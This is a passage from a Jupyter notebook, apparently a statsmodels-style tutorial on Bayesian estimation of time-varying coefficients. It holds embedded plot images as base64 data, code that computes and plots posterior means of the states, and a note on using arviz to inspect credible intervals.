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\n", "text/plain": [ "<Figure size 1080x576 with 4 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "# Collect the posterior means of each time-varying coefficient\n", "states_posterior_mean = pd.DataFrame(\n", " np.mean(store_states[nburn + 1:], axis=0),\n", " index=mod._index, columns=mod.state_names)\n", "\n", "# Plot these means over time\n", "plot_coefficients_by_equation(states_posterior_mean);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Python also has a number of libraries to assist with exploring Bayesian models. Here we'll just use the [arviz](https://arviz-devs.github.io/arviz/index.html) package to explore the credible intervals of each of the covariance and variance parameters, although it makes available a much wider set of tools for analysis." ] }, { "cell_type": "code", "execution_count": 16, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:52:51.488577Z", "iopub.status.busy": "2021-02-02T06:52:51.486875Z", "iopub.status.idle": "2021-02-02T06:52:52.334881Z", "shell.execute_reply": "2021-02-02T06:52:52.336161Z" }, "scrolled": false }, "outputs": [ { "data": { "text/plain": [ "array([<AxesSubplot:title={'center':'94.0% Credible Interval'}>],\n", " dtype=object)" ] }, "execution_count": 1, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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